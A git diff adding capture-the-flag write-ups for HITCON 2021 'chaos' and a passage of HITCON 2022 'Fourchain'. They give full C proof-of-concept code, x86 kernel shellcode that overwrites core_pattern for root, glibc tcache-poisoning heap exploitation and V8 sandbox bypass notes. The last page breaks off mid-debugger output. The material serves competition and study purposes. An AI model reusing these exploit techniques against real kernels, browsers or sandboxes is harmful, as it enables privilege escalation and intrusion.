0, + .out_size = 256, + }; + ioctl(fd, 0xC01CCA00, &req); + + write(1, mem + 0x20, 0x50); + + return 0; +} +``` + +Flag: `hitcon{when the secure bootloader is not secure}` + +## Part 2: Kernel + +The flag for this part is in the VM, only readable to root. This means that we have to somehow exploit the kernel from our unprivileged client to become root. We control both the userspace client and the firmware, so we can attack the kernel from both sides. + +### DMA attack + +CHAOS uses a virtual PCI device. PCI is interesting from an attacker's point of view because it is bus mastering, which means that the devices can DMA to the host's memory. Pwning the kernel from such a device would be really easy because the device can read and write to all of physical memory. Unfortunately the virtual PCI device in Qemu doesn't use DMA, so it's impossible to DMA to the host memory from the device's firmware. All that the firmware can do is to write to its MMIO registers and its dedicated memory. Too bad. + +### CHAOS driver analysis + +We cannot directly attack the VM's kernel from the firmware, so it is very likely that we will need to find a bug in the driver and exploit it. We spent a few hours reversing the driver and understanding how it works and eventually found some bugs. + +Recall that the driver uses two ring buffers to communicate with CHAOS. The driver puts commands in the command queue and receives responses in the response queue. Here is the code that adds a new command to the queue: + +```c +int chaos_mailbox_request(struct chaos_mailbox *mailbox, struct chaos_request *req) +{ + struct chaos_cmd_desc cmd_desc = {0}; + + // Generate a request ID. + int request_id = _InterlockedExchangeAdd(&mailbox->request_id, 1) + 1; + + // Copy the request to the CHAOS memory. + int ret = chaos_dram_alloc(mailbox->chaos_state->dram_pool, 28LL, &dram_request); + if (ret != 0) { + return ret; + } + + struct chaos_req *dram_req = dram_request.virt_addr; + memcpy(dram_req, req, sizeof(struct chaos_request)); + + struct chaos_state *chaos_state = mailbox->chaos_state; + uint64_t cmd_tail = chaos_state->csrs.virt_addr->cmd_tail; + + mutex_lock(&mailbox->cmdq_lock); + uint64_t cmd_head = chaos_state->csrs.virt_addr->cmd_head; + + // Check if the command queue is already full. + if ((cmd_head ^ cmd_tail) == 512) { + mutex_unlock(&mailbox->cmdq_lock); + chaos_dram_free(pool, &dram_request); + return -16; + } + + cmd_desc.req_id = request_id; + cmd_desc.unk = 1; + cmd_desc.buf_offset = dram_request.phys_addr - pool->dram_io_map->phys_addr; + cmd_desc.size = 28; + + // Add the request to the command queue. + memcpy(&mailbox->cmd_queue.virt_addr[cmd_head & 0xfffffffffffffdff], &cmd_desc, sizeof(cmd_desc)); + chaos_state->csrs.virt_addr->cmd_head = (cmd_head + 1) & 0x3FF; + mutex_unlock(p_cmdq_lock); + + // Set the response to pending in the response queue. + int resp_idx = request_id & 0x1FF; + mailbox->responses[resp_index].result = -100; + + // Send an interrupt to the device. + chaos_state->csrs.virt_addr->device_irq = 1; + + _cond_resched(); + uint32_t result = mailbox->responses[resp_index].result; + bool timed_out = false; + + // Wait for the request to complete. + if (result == -100) { + long time_left = 2000; + + struct wait_queue_entry wq_entry; + init_wait_entry(&wq_entry, 0); + + prepare_to_wait_event(&mailbox->waitq, &wq_entry, 2LL); + + // Wait up to 2000 jiffies. + result = mailbox->responses[resp_index].result; + while (time_left != 0 && result == -100) { + time_left = schedule_timeout(time_left); + prepare_to_wait_event(&mailbox->waitq, &wq_entry, 2LL); + result = mailbox->responses[resp_index].result; + } + + timed_out = time_left == 0 && result == -100; + finish_wait(&mailbox->waitq, &wq_entry); + } + + chaos_dram_free(pool, &dram_request); + + if (timed_out) { + return -110; + } + + if ((result & 0x80000000) != 0) { + dev_err(mailbox->chaos_state->device, "%s: fw returns an error: %d", "chaos_mailbox_request", result); + return -71; + } + + req->out_size = result; + + return 0; +} +``` + +This function can write out of bounds of the command queue (which has size 512) if the head index of the command queue is greater than 512. At first glance it looks like this can never happen because the driver always ANDs the value of the head index with 0x3FF when incrementing it and then again with 0xdff when accessing the queue, so the index should always be at most 511. However the driver is not the only component that can modify the head index. The firmware also has access to it and can set it to arbitrary values. The following PoC sets the index to a very big value and panics the kernel with a page fault: + +```c +int main(void) +{ + int fd = open("/dev/chaos", O_RDWR); + assert(fd >= 0); + + assert(ioctl(fd, 0x4008CA00, 0x1000) >= 0); + + uint8_t *mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); + assert(mem != MAP_FAILED); + + struct request req = { + .field_0 = 1, + .field_4 = 0, + .field_8 = 32, + .field_c = 256, + .field_10 = 32, + .field_14 = 0, + .out_size = 256, + }; + ioctl(fd, 0xC01CCA00, &req); + ioctl(fd, 0xC01CCA00, &req); + + return 0; +} +``` + +```x86asm +BITS 64 +DEFAULT rel + +csr_start equ 0x10000 + +; overwrite the command queue's head pointer. +mov rax, 0x4141414141414141 +mov [csr_start + 0x50], rax + +; exit +mov edi, 0 +mov eax, 60 +syscall +``` + +``` +[ 2.964179] general protection fault, probably for non-canonical address 0x505019505070504d: 0000 [#1] SMP NOPTI +[ 2.965393] CPU: 0 PID: 78 Comm: run Tainted: G O 5.15.6 #5 +[ 2.966232] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.14.0-0-g155821a1990b-prebuilt.qemu.org 04/01/2014 +[ 2.967558] RIP: 0010:chaos_mailbox_request+0x159/0x2e0 [chaos] +[ 2.968249] Code: 48 89 d0 48 83 c2 01 80 e4 fd c7 44 24 2c 1c 00 00 00 81 e2 ff 03 00 00 4c 8d 04 40 4a 8d 04 80 4c 8b 44 24 23 48 03 44 24 10 <4c> 89 00 44 8b 44 24 2b 44 89 40 08 44 0f b6 44 24 2f 44 88 40 0c +[ 2.970407] RSP: 0018:ffffc900001b7df8 EFLAGS: 00010207 +[ 2.971016] RAX: 505019505070504d RBX: ffffc900001b7ec4 RCX: 0000000000000002 +[ 2.971841] RDX: 0000000000000142 RSI: 0000000000000100 RDI: ffff888003f39058 +[ 2.972662] RBP: ffff888003eff2e8 R08: 0040000100000002 R09: ffffc90000204000 +[ 2.973483] R10: 000000000000003c R11: 00000000000000ca R12: 0000000000000000 +[ 2.974303] R13: 4141414141414141 R14: ffff888003f39028 R15: ffff888003f421a8 +[ 2.975126] FS: 0000000000408718(0000) GS:ffff88801f200000(0000) knlGS:0000000000000000 +[ 2.976047] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 +[ 2.976704] CR2: 000000000042eb90 CR3: 0000000003f68000 CR4: 00000000000006f0 +[ 2.977526] Call Trace: +[ 2.977820] +[ 2.978071] ? selinux_file_ioctl+0x16f/0x210 +[ 2.978582] chaos_fs_ioctl+0x11c/0x230 [chaos] +[ 2.979108] __x64_sys_ioctl+0x7e/0xb0 +[ 2.979560] do_syscall_64+0x3b/0x90 +[ 2.979981] entry_SYSCALL_64_after_hwframe+0x44/0xae +``` + +The interrupt handler, which reads the result queue, has the same bug but this time it reads out of bounds instead of writing: + +```c +void chaos_mailbox_handle_irq(struct chaos_mailbox *mailbox) +{ + struct chaos_state *chaos_state = mailbox->chaos_state; + struct chaos_resp_desc *result_queue = mailbox->output_queue.virt_addr; + raw_spin_lock(&mailbox->spinlock); + uint64_t i = chaos_state->csrs.virt_addr->result_head; + while (i != chaos_state->csrs.virt_addr->result_tail) { + desc = &result_queue[i & 0xfffffffffffffdff]; + i = (i + 1) & 0x3FF; + id = desc->req_id; + result = desc->result; + resp = &mailbox->responses[desc->req_id & 0x1FF]; + resp->req_id = id; + resp->result = result; + } + chaos_state->csrs.virt_addr->result_head = i; + spin_unlock(&mailbox->spinlock); + _wake_up(&mailbox->waitq, 3, 1, 0); +} +``` + +This gives us an out of bounds read/write, which should be enough to completely own the kernel. + +### Exploit + +The bug we found gives us an out of bounds write relative to the address of the command queue. The index is 64-bit so we can write to almost any address (bit 9 of the index is cleared before accessing the queue). We can write a 13-byte command descriptor containing predictable data. + +```c +struct __attribute__((packed)) chaos_input_rb_desc { + // Set by the driver, but predictable. + uint16_t req_id; + // Always 0 + uint16_t gap; + // Always 1 + uint8_t unk; + // Set by the driver, value between 0 and 0x100000 + uint32_t buffer_offset; + // Always 28 + uint32_t buffer_size; +}; +``` + +To get an idea of where our buffer could be and what could be around it we had a look at the kernel's documentation, which includes a [map of the kernel's address space on x86](https://www.kernel.org/doc/Documentation/x86/x86_64/mm.txt). The command queue is located in the CHAOS device memory, and the driver uses `devm_ioremap` to map that region into virtual memory. `ioremap` allocates virtual memory from the vmalloc region (`0xffffc90000000000-0xffffe90000000000` on x86_64), so the ring buffer will be somewhere in that region. After looking around in GDB for a while we noticed that the kernel stack of our process is also located there. This makes sense, because the kernel's stacks are also [allocated](https://elixir.bootlin.com/linux/latest/source/kernel/fork.c#L246) from the vmalloc region by default. However even more importantly it looked like the kernel's stack is at a constant, or at least predictable, offset from the command queue. This means that we should be able to reliably overwrite a specific value saved on the stack with contorlled data without needing any leaks. + +There are many ways to exploit this. The target VM has no SMEP and no SMAP, which means that we can redirect any kernel data and code pointers to memory controlled by us in userspace. With some trial and error to figure out which offsets would overwrite what value, we found that offset `0x13b13b13b13ad88c` reliably overwrites a saved `rbp` on the kernel's stack. This value depends on what other `vmalloc` allocations the kernel did before running the exploit so it's somewhat specific to the setup we used but it works reliably. The overwrite clears the top 16 bits of the saved `rbp`, which redirects it to a userspace address. We can mmap this address and gain control of the kernel's stack as soon as the kernel executes a `leave` instruction. We then only have to fill the fake stack with a pointer to some shellcode. + +```c +static void alloc_rbp(size_t offset) { + uint64_t *rbp = mmap(0x00000003001cf000 + 0x040000000*offset, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0); + assert(rbp != MAP_FAILED); + for (size_t i = 0; i < 0x1000 / 8; i++) { + rbp[i] = &pwn_kernel; + } +} +``` + +The shellcode is pretty simple: it reads the IA32_LSTAR, which contains the address of the system call handler, to recover address of the kernel and then overwrites `core_pattern` with the path to our exploit. It then executes `swapgs; sysret` to return to userspace. The exploit returns to userspace at an invalid address and crashes, which runs the core dump handler, which is now our exploit itself. The core dump handler runs as root, so our exploit can read the flag and print it to the serial console. + +```x86asm +BITS 64 +DEFAULT rel +global pwn_kernel + +kernel_base equ 0xffffffff81000000 +syscall_handler_off equ 0xffffffff81c00000 - kernel_base +core_pattern_off equ 0xffffffff82564060 - kernel_base + +pwn_kernel: + ; read IA32_LSTAR, which contains the address of the syscall handler + mov ecx, 0xc0000082 + rdmsr + shl rdx, 32 + or rax, rdx + + mov rbx, syscall_handler_off + sub rax, rbx + ; rbx = kernel base + mov rbx, rax + + mov rax, core_pattern_off + mov rcx, rbx + ; rcx = core_pattern + add rcx, rax + + ; overwrite core_pattern + mov rbx, '|/home/c' + mov [rcx], rbx + mov rbx, 'haos/run' + mov [rcx + 8], rbx + xor ebx, ebx + mov [rcx + 16], rbx + + ; return to userspace and crash + xor ecx, ecx + mov r11, 0x002 + swapgs + sysret +``` + +```c +int main(int argc, char* argv[]) +{ + if (getuid() == 0) { + system("cat /flag > /dev/ttyS0"); + return 0; + } + /* ... */ +} +``` + +Flag: `hitcon{so this is how we attack kernel from a device}` + +## Part 3: Sandbox + +### Analysis + +The flag for part 3 is also a file outside the sandbox. However unlike in part 1, there is no system call that copies the flag into the CHAOS memory for us. The sandbox only opens the file that contains the third flag, but then doesn't do anything with it. Clearly this means that we must somehow pwn the sandbox and read the contents of the file somewhere into shared memory where our firmware can access them. As we mentioned before, the sandbox has some system calls that let the chip perform some cryptographic operations on data supplied by the firmware. More specifically, the sandbox implements the following: + +* MD5 +* SHA256 +* AES encrypt/decrypt +* RC4 encrypt/decrypt +* Blowfish encrypt/decrypt +* Twofish encrypt/decrypt +* Threefish encrypt/decrypt + +Except for MD5 and SHA256, all of these operations also need a key. The client can use the `add_key` and `delete_key` to add and remove keys from the sandbox's key storage. The key storage is implemented as a `std::map`, which maps a key ID to the key data and is implemented using a search tree. + +Now, except for MD5, SHA256 and RC4 all of the algorithms implemented in the sandbox are block ciphers, which take a fixed-size block of input and produce a block of output having the same size as the input. The block size is usually a fixed value chosen by the designers of the algorithm. + +Consider now the function that implements Threefish encryption, which has a block size of 32 bytes: + +```c +void threefish_encrypt(struct buffer *output, struct buffer *key, struct buffer *input) +{ + if (key->size != 32) { + _exit(2); + } + + size_t size = input->size; + if ((size & 7) != 0 || size > 0x20) { + _exit(2); + } + + output->data = NULL; + output->size = size; + + if ((unsigned int)(size - 1) > 0xFFFFF) { + _exit(2); + } + + uint8_t *out = new uint8_t[size]; + output->data = out; + do_threefish_encrypt(key->data, key->size, input->data, out); +} +``` + +While the function checks that the size of the input is not bigger than the block size, it doesn't check that it's exactly equal to the block size. On top of that it allocates an output buffer whose size is the same as the size of the input, rather than a fixed-size buffer. This means that the encryption can write out of bounds if we pass it an input buffer that is smaller than 32 bytes. All block ciphers have this bug but it's only exploitable with threefish because it's the only cipher with a block size greater than 24 bytes, which is the smallest usable buffer returned by glibc's malloc. This bug gives us a 8-byte out of bounds read and an 8 byte out of bounds write on a heap chunk of size 24 (the input data is also assumed to be 32 bytes). + +Ok, so we have a heap overflow and overread, how can we exploit this? Fortunately, if we do overflow, we do so directly into the size field of the next chunk. Therefore, our goal was to overflow the size field of a small chunk with a large size. However, there were a bunch of complications before achieving this. + +The biggest issue we were facing, is the fact that both encryption and decryption do not (directly) allow for a controlled overflow. Encryption, of course, leads to mostly gibberish in the overflown area. Furthermore, since our input also has to be smaller than 32 bytes, part of the encryption input is from the next heap chunk! This also makes it nontrivial to get a controlled overflow with decryption, since we do not control part of the encrypted input, that will be decrypted. + +The intended solution here, was to use crypto to your advantage and figure out a way, such that known but not controlled input also decrypts to something you wanted. However, we found a much easier approach, that did not involve pinging our crypto people on discord ;). + +We first present the heap setup we want to have, then how we actually achieved that. +The basic setup we need, is the following, where the three separate parts of the heap, can be anywhere. + +![](chaos2.jpg) + + +The sizes shown are the actual sizes used by malloc (so rounded up to the nearest 0x10). +Furthermore, except the sizes for the input / output chunks, the other sizes are not particularly specific. +However, we do need to have `sizeof(L) >> sizeof(S)`. The goal is to now roughly have the following happen [^1]: + +```c +void* I_E = malloc(0x20); +void* O_E = malloc(0x20); +void* I_D = O_E; +void* O_D = malloc(0x20); +threefish_encrypt(I_E, O_E); +threefish_decrypt(I_D, O_D); +``` + +In particular, the purpose of the different chunks are as follows: + +- $I_E$: input to the threefish encryption using overflow. The encryption will read the size of the next chunk $L$ oob, as the last 8 bytes of input. +- $O_E$ / $I_D$: output of the threefish encryption, but then also input of the threefish decryption. During encryption, the size of the next chunk will be overwritten. During decryption, the size of the next chunk will be read oob, as the last 8 bytes of input. +- $O_D$: output of the threefish decryption. The size of the next chunk will be overwritten, with the last 8 bytes of output. +- $L$: A large chunk. We will overwrite the size of $S$, with this size. +- $D$: A chunk that is never freed. Since we corrupt the size with the encryption, we do not want to free it, otherwise malloc is unhappy. +- $S$: A small chunk. Target for our overwrite. + +This works out well, since we do not change the input of our encryption before decryption, the output of the decryption must be the same as our initial input. Since the initial input's last 8 bytes was a large size, the small size of $S$ will be overwritten with this large size. If we now allocate $S$, free it again, it will be in the tcache of a much larger size than it should be. We can then allocate a chunk of size $0x150$ and get back $S$. Then we have a fully controlled overflow of a much larger area of the heap. + +This whole procedure is shown in the image below: + +![](chaos3.jpg) + +So our goal is now clear, we need the specific heap layout and allocations mentioned before. +But how do we get there? + +There are two major pain points in trying to achieve this. +Firstly, the heap is not in a clean state when we start our exploit, since the firmware loading also uses the heap already. +Secondly, there are no good malloc and free primitives. To get the heap into a certain state, ideally we would be able to malloc and free arbitrary sizes. The best primitive we found, was the addition and removal of keys. While it allows us to malloc an arbitrarily sized chunk and free it later, it also has a major drawback. The malloc of the size we control, happens in between a `malloc(0x10)` and a `malloc(0x30)`. The former to act as a kind of wrapper around our malloc'd buffer, the latter as the node in a red-black-tree. This is the case, because the different keys are saved inside an `std::map`. + +Astute readers will have noticed, that the wrapper struct is actually of the same size as our target buffers to overflow. +In fact, both of these pain points can help us out in certain ways. + +We will now show the heap feng shui of our exploit, then explain why the different allocations work and how they help us towards our goal. But first, we explain the `do_malloc` and `do_free` functions. These correspond to adding and removing a key respectively. As such, a simplified view of these is basically: + +```c +size_t do_malloc(size_t size) { + void* buffer = malloc(0x10); + void* key_buf = malloc(size); + void* tree_node = malloc(0x30); + size_t key_id = curr_id; + curr_id++; + keys[key_id] = (buffer, key_buf, tree_node); +} + +void do_free(size_t key_idx) { + (buffer, key_buf, tree_node) = keys[key_id]; + free(tree_node); + free(key_buf); + free(buffer); +} +``` + +Now our heap feng shui is written as: + +```c +size_t first = do_malloc(0x80); + +size_t inp_prepare = do_malloc(0x150); +size_t dont_free = do_malloc(0x70); +size_t small = do_malloc(0x50); + +size_t reserved_for_later = do_malloc(0x80); +size_t reserved_for_later2 = do_malloc(0x80); + +do_free(dont_free); +do_free(first); +size_t dont_free2 = do_malloc(0x70); +size_t dont_free_begin = do_malloc(0x90); +do_free(small); +do_free(dont_free_begin); +do_free(inp_prepare); +``` + +Since `do_malloc` first allocs a chunk of size 0x20, then our desired size, we can use it as a primitive for achieving the three parts of the heap we need, as long as the two mallocs happen from a contiguous region. Thankfully, the firmware was allocated as a large heap chunk and after freeing it, put in the unsorted bin. Therefore, as long as our allocation size's tcache is empty, the malloc happens contiguously from this unsorted bin. Hence, our chunks from before can be identified: + +- $I_E$ ` = inp_prepare.buffer` +- $O_E$ / $I_D$ ` = dont_free.buffer = dont_free_begin.buffer` +- $O_D$ ` = small.buffer` +- $L$ ` = inp_prepare.key_buf` +- $D$ ` = dont_free.key_buf = dont_free2.key_buf` +- $S$ ` = small.key_buf` + +This also explains the very first allocation. It is done to remove the single 0x20 chunk currently in the tcache. +`inp_prepare` then corresponds to our first heap part, the first input buffer and the large chunk. +`dont_free` corresponds to the second heap part, while `small` to the third. +Both `reserved_for_later` use a key_buf chunk on the tcache, while the tree_node will be allocated just after our small chunk. +This will be our target for overwriting with the controlled overflow later. + +Finally, we have to do some freeing to get our tcache in the correct order. In the end, we would like the have the following tcache for 0x20: + +``` +head -> inp_prepare.buffer -> dont_free.buffer -> small.buffer +``` + +To this end, we first swap the buffer struct used for `dont_free` and `first`. Otherwise, we would have to free `dont_free.key_buf`, which we do not want! For that, we first free it temporarily, leading to the following tcache 0x20: + +``` +head -> first.buffer -> dont_free.buffer +``` + +Furthermore, `dont_free.key_buf` is the head of tcache 0x70. Therefore, `do_malloc(0x70)`, will use `first.buffer` as the buffer, and `dont_free.key_buf` as its key_buf. Since we never touch the result of this malloc (`dont_free2`) again, we can be safe that `dont_free.key_buf` (or as named above $D$) is never freed! Lastly, `dont_free_begin.buffer` now points to `dont_free.buffer` and hence the last three frees achieve exactly the tcache layout we want. + +Therefore, the next part of our exploit looks as follows: + +```c +res = do_crypto(THREEFISH_ENC, random_data, 24, test_key_idx); +if (res < 0) { + puts("enc failed"); +} + +memcpy(temp_crypt, crypt_result, 24); + +size_t rid_of_inp = do_malloc(0x140); + +res = do_crypto(THREEFISH_DEC, temp_crypt, 24, test_key_idx); + +if (res < 0) { + puts("dec failed"); +} + +puts("smashed size!"); +``` + +First we encrypt. This will use the first entry in the tcache as input, the second as output. Then we make sure to remove the first entry in the tcache. Next we decrypt, and again first entry in tcache is input (previously of course our output), the second as output. This all leads to our desired goal, of smashing the size of `small.key_buf` with `0x160`. + +We now malloc and free `small.key_buf`, to put it onto the correct tcache: + +```c +size_t small_smashed = do_malloc(0x50); +do_free(small_smashed); +``` + +The next time we add a key of size `0x150`, we will overflow `small.key_buf` by a lot! +We now free the chunks reserved for later: + +```c +do_free(reserved_for_later2); +do_free(reserved_for_later); +``` + +This will now do the following for the tcache of size 0x40 (remember those chunk's tree_node were allocated after `small.key_buf`): + +``` +head -> reserved_for_later.tree_node -> reserved_for_later2.tree_node -> ... +``` + +When we now overflow `small.key_buf`, we can set `fd` of the chunks that are in tcache. +Due to the way the allocations work, we need to create some fake chunks first, which we point to. +The fake chunks are created as follows inside dram: + +```c +puts("Creating fake chunks"); + +uint64_t* fake_chunk = dram + 0x20000; +uint64_t* fake_chunk2 = dram + 0x20080; +fake_chunk[-1] = 0x41; +fake_chunk[0] = fake_chunk2; +fake_chunk[1] = 0; + +fake_chunk2[-1] = 0x41; +// this is the address we actually wanna overwrite +fake_chunk2[0] = fd_addr; +fake_chunk2[1] = 0; + +uint64_t* fake_chunk4 = dram + 0x20100; +fake_chunk4[-1] = 0x21; +fake_chunk4[0] = 0; +fake_chunk4[1] = 0; + +uint64_t* fake_chunk3 = dram + 0x20180; +fake_chunk3[-1] = 0x21; +fake_chunk3[0] = fake_chunk4; +fake_chunk3[1] = 0; +``` + +Now we can finally overflow: + +```c +puts("smashing actual chunks"); + +memset(overwrite, 'A', sizeof(overwrite)); + +uint64_t* over = &overwrite[0]; + +// Due to the free of the reserved_for_later chunks +// We also need to fixup these buffer chunks on the heap. +over[31] = 0x21; +over[32] = fake_chunk3; +over[33] = 0; +// This is our actual target! +over[23] = 0x41; +over[24] = fake_chunk; +over[25] = 0; + +size_t my_key = add_key(overwrite, sizeof(overwrite)); +``` + +The tcache for 0x20 and 0x40 now looks as follows: + +```c +head[0x20] -> reserver_for_later.buffer -> fake_chunk3 -> fake_chunk4 +head[0x40] -> fake_chunk -> fake_chunk2 -> fd_addr // location of flag1 file descriptor +``` + +Hence, if we create two keys of length 0x30, the second key allocation will be overwriting fd_addr, allowing us to change the file descriptor from flag1 to the one for flag3. Then we can just reuse our exploit for the first flag: + +```c +uint32_t* fd_over = &fd_overwrite[0]; +// remote: +*fd_over = 1; +// local: +// *fd_over = 4; +size_t fd_key = add_key(fd_overwrite, 0x30); +size_t fd_key2 = add_key(fd_overwrite, 0x30); + +puts("Read flag"); + +while (true) { + syscall1(0xC89FC, dram); + + printf("flag: %s\n", dram); + + for (int i = 0x100; i < 0x50000; i += 0x100) { + memcpy(dram + i, dram, 0x100); + } +} +``` + +[^1]: Note that the mallocs will actually happen at different times, this is just to illustrate the basic idea. + +Flag: `hitcon{threefishes~sandbox~esacape}` + +## Conclusion + +Thanks to david942j and lyc for putting together this series of challenges, they were really fun to solve. You can find the source code for the challenges together with the official solution [on github](https://github.com/david942j/hitcon-2021-chaos). Until next time! diff --git a/HITCON-2021/pwn/chaos1.jpg b/HITCON-2021/pwn/chaos1.jpg new file mode 100755 index 0000000..c0bfe6e Binary files /dev/null and b/HITCON-2021/pwn/chaos1.jpg differ diff --git a/HITCON-2021/pwn/chaos2.jpg b/HITCON-2021/pwn/chaos2.jpg new file mode 100755 index 0000000..6c2483f Binary files /dev/null and b/HITCON-2021/pwn/chaos2.jpg differ diff --git a/HITCON-2021/pwn/chaos3.jpg b/HITCON-2021/pwn/chaos3.jpg new file mode 100755 index 0000000..53632df Binary files /dev/null and b/HITCON-2021/pwn/chaos3.jpg differ diff --git a/HITCON-2022/index.html b/HITCON-2022/index.html new file mode 100755 index 0000000..c5be6d2 --- /dev/null +++ b/HITCON-2022/index.html @@ -0,0 +1,239 @@ + + + + + +HITCON CTF 2022 | Organisers + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

HITCON CTF 2022

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ChallengeCategory
Fourchain - Prologuepwn
Fourchain - Chapter 1: Holepwn
Fourchain - Chapter 2: Sandboxpwn
Fourchain - Chapter 3: Kernelpwn
Fourchain - Chapter 4: Hypervisorpwn
Fourchain - Chapter 5: One for Allpwn
Fourchain - Epiloguepwn
+ + + + + + +
+
+
+ + + + + + +
+ + diff --git a/HITCON-2022/index.md b/HITCON-2022/index.md new file mode 100755 index 0000000..c4bd4e4 --- /dev/null +++ b/HITCON-2022/index.md @@ -0,0 +1,11 @@ +# HITCON CTF 2022 + +| Challenge | Category | +|-----------|----------| +| [Fourchain - Prologue](./pwn/fourchain-prologue) | pwn | +| [Fourchain - Chapter 1: Hole](./pwn/fourchain-hole) | pwn | +| [Fourchain - Chapter 2: Sandbox](./pwn/fourchain-sandbox) | pwn | +| [Fourchain - Chapter 3: Kernel](./pwn/fourchain-kernel) | pwn | +| [Fourchain - Chapter 4: Hypervisor](./pwn/fourchain-hv) | pwn | +| [Fourchain - Chapter 5: One for All](./pwn/fourchain-fullchain) | pwn | +| [Fourchain - Epilogue](./pwn/fourchain-epilogue) | pwn | diff --git a/HITCON-2022/pwn/fourchain-epilogue.html b/HITCON-2022/pwn/fourchain-epilogue.html new file mode 100755 index 0000000..a99b354 --- /dev/null +++ b/HITCON-2022/pwn/fourchain-epilogue.html @@ -0,0 +1,200 @@ + + + + + +Organisers | CTF Team + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

soon

+ + + + + + +
+
+
+ + + + + + +
+ + diff --git a/HITCON-2022/pwn/fourchain-epilogue.md b/HITCON-2022/pwn/fourchain-epilogue.md new file mode 100755 index 0000000..58df056 --- /dev/null +++ b/HITCON-2022/pwn/fourchain-epilogue.md @@ -0,0 +1 @@ +soon \ No newline at end of file diff --git a/HITCON-2022/pwn/fourchain-fullchain.html b/HITCON-2022/pwn/fourchain-fullchain.html new file mode 100755 index 0000000..ec2aa10 --- /dev/null +++ b/HITCON-2022/pwn/fourchain-fullchain.html @@ -0,0 +1,765 @@ + + + + + +Fourchain - One For All | Organisers + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

Fourchain - One For All

+ +

Authors: Nspace, gallileo

+ +

Tags: pwn, browser, v8, linux, virtualbox

+ +

Points: 500

+ +
+

One challenge for all the vulnerabilities.

+ +

All these years of training has lead to this moment.

+ +

Show us who’s the best pwner in the world !

+
+ +

The last challenge in the series is about chaining together the four bugs. The challenge runs Linux with the vulnerable module inside the patched Virtualbox, and runs the patched Chromium with both bugs inside this VM. We can provide the URL of our own webpage and the challenge will open it in the patched Chromium. We have to get the flag which is outside the VM.

+ +

Escaping the VM once we have a root shell inside is easy, we only need to load the exploit module from the VM escape challenge. Getting a root shell from an unsandboxed unprivileged shell is also easy because we can reuse the kernel exploit from the kernel challenge. The only part that is slightly more problematic is chaining the renderer compromise with the browser sandbox escape.

+ +

The sandbox escape needs to send Mojo messages to the browser process to interact with the vulnerable IPC service. The easiest way to do that from a compromised renderer is to enable MojoJS. Using MojoJS also means that we can reuse the exploit from the sandbox escape part unmodified which is nice because it saves us some work. There is a well-documented way to enable Mojo in a compromised renderer with arbitrary R/W, described by Mark Brand in a Project Zero bug. I reused the code that I wrote for the Full Chain challenge at Google CTF 2021 for this.

+ +

Now the only thing we need is arbitrary read and write in the renderer. Unfortunately we had cheesed the V8 challenge by loading the flag into the sandboxed heap with Realm.eval instead of actually bypassing the V8 sandbox. This was good enough for that challenge where we only had to read a file, but it won’t work here. We need an actual bypass for the V8 sandbox.

+ +

Uncheesing the V8 Exploit

+ +

Earlier this year DiceCTF had a challenge where players had to find bypasses for the V8 sandbox. The sandbox is now enabled by default in V8 but it’s still pretty new and there are many bypasses that haven’t been fixed yet. Funnily enough I had discovered the Realm.eval cheese when attempting to solve that challenge near the end of the CTF but I couldn’t use it because the flag was located at an unguessable path. I remembered that Kylebot from Shellphish had published a writeup for that challenge so I started by reading it.

+ +

Kylebot’s bypass uses WASM and overwrites imported_mutable_globals in a WasmInstance object to get arbitrary read and write. Unfortunately this bypass has been patched out and doesn’t work anymore in the version of V8 used in this challenge. Even then I still thought I should take a look at the WasmInstance because it had a lot of native pointers in Kylebot’s writeup:

+ +
0x12af00197ff5 <Instance map = 0x12af00195f89>
+pwndbg> tele 0x12af00197ff4
+00:0000  0x12af00197ff4 ◂— 0x225900195f89
+01:0008  0x12af00197ffc ◂— 0x225900002259 /* 'Y"' */
+02:0010  0x12af00198004 ◂— 0x34c900002259 /* 'Y"' */
+03:0018  0x12af0019800c ◂— 0x34c9
+04:0020  0x12af00198014 ◂— 0x180010000000000
+05:0028  0x12af0019801c ◂— 0x10000
+06:0030  0x12af00198024 —▸ 0x5555569b5b60 —▸ 0x7ffffff07c60 ◂— 0x7ffffff07c60
+07:0038  0x12af0019802c —▸ 0x555556a1ba70 ◂— 0x500000000
+08:0040  0x12af00198034 ◂— 0x0
+09:0048  0x12af0019803c ◂— 0x0
+0a:0050  0x12af00198044 ◂— 0xffffffffff000000
+0b:0058  0x12af0019804c —▸ 0x5555569b5b40 —▸ 0x12af00000000 ◂— 0xb000
+0c:0060  0x12af00198054 —▸ 0x3a0e9c984000 ◂— jmp 0x3a0e9c984640 /* 0xcccccc0000063be9 */
+0d:0068  0x12af0019805c —▸ 0x5555569c2a48 —▸ 0x12af0005213c ◂— 0x5bd88000022c9
+0e:0070  0x12af00198064 —▸ 0x5555569c2a40 —▸ 0x12af000497e4 ◂— 0x0
+0f:0078  0x12af0019806c —▸ 0x5555569c2a68 —▸ 0x12af001c0000 ◂— 0x0
+10:0080  0x12af00198074 —▸ 0x5555569c2a60 —▸ 0x12af00198224 ◂— 0x0
+11:0088  0x12af0019807c —▸ 0x5555569b5b50 —▸ 0x7ffffff07c60 ◂— 0x7ffffff07c60
+12:0090  0x12af00198084 —▸ 0x5555569d7889 ◂— 0x100000000
+13:0098  0x12af0019808c —▸ 0x555556a270c0 ◂— 0x7fff001b7740
+14:00a0  0x12af00198094 ◂— 0x34c9000034c9
+15:00a8  0x12af0019809c ◂— 0x4958d000034c9
+16:00b0  0x12af001980a4 ◂— 0x182dad0004975d
+17:00b8  0x12af001980ac ◂— 0x23e100197fb1
+
+ +

Most of the pointers appear to be sandboxed now but there are still a few that are not. I started experimenting by overwriting each of those with 0x41414141 in GDB before calling into the wasm code and got some crashes. The most interesting one was from overwriting the pointer at offset 0x60 because it gave us RIP control:

+ +
Thread 1 "d8" received signal SIGSEGV, Segmentation fault.
+0x0000000041414141 in ?? ()
+LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
+──────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────────────────────────────────────────────
+*RAX  0x13371337
